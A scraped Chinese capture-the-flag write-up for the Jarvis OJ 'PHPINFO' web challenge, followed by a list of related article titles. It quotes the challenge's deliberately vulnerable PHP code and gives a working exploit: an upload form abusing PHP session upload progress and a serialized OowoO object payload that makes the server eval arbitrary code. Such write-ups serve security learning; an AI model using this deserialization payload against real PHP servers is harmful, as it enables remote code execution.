Jarvis OJ PHPINFO【审计代码反序列化】
来源:互联网 发布:java逐个读取单词 编辑:程序博客网 时间:2024/05/18 01:36
原题地址:http://web.jarvisoj.com:32784/
其实这题一开始是没有任何思路的,感觉不存在任何数据传输接收点,后来看到了一篇wp,点这里
感觉瞬间打开了新世界,,,这里写篇write up记录下做题过程
首先打开题目页面直接获得源码:
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>
这题的突破点在哪里,没错,就是我备注的那块ini_set('session.serialize_handler', 'php');
查了下手册:
php大于5.5.4的版本中默认使用php_serialize规则
通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
由phpinfo()页面继续可知,session.upload_progress.enabled为On。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。
其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题
思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:
<!DOCTYPE html><html><head><title>test XXE</title><meta charset="utf-8"></head><body><form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!-- 不对字符编码--> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="go" /></form></body></html>
注意enctype属性:
接下来考虑序列化:
<?phpclass OowoO{ public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();$a = serialize($obj);var_dump($a);#|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注释是考虑到反转义,和序列化之后的结果,bp抓包,将file替换,结果如下:
进一步更改,可获得flag
总结:多翻翻神奇的php手册,,,
阅读全文
0 0
- Jarvis OJ PHPINFO【审计代码反序列化】
- Jarvis OJ
- EMLOG漏洞 | 敏感信息泄漏phpinfo-代码审计
- Jarvis OJ writeup Web
- Jarvis OJ writeup Basic
- jarvis oj DebugMe writeup
- 序列化和反序列化代码
- 序列化与反序列化代码
- Java RMI 反序列化代码执行
- Jenkins反序列化代码执行
- jarvis oj Web By Assassin
- C#序列化和反序列化代码
- 序列化与反序列化 代码总结
- XML序列化与反序列化代码
- JS表单序列化与反序列化代码
- java序列化与反序列化 代码示例
- 序列化与反序列化详解(含代码)
- java 序列化和反序列化代码示例
- 70. Climbing Stairs
- csdn粘贴代码后出现编辑异常的解决
- 1107. Social Clusters (30)
- SQL 连接
- c3p0 c3p0.properties
- Jarvis OJ PHPINFO【审计代码反序列化】
- 2017年严重拖延着患者欠下的债
- 实现在一组数中找出最大值与最小值
- 后端总结1
- Nginx
- 总有一天你将破蛹而出
- Docker教程
- python基础入门 02
- Nginx安装使用(一)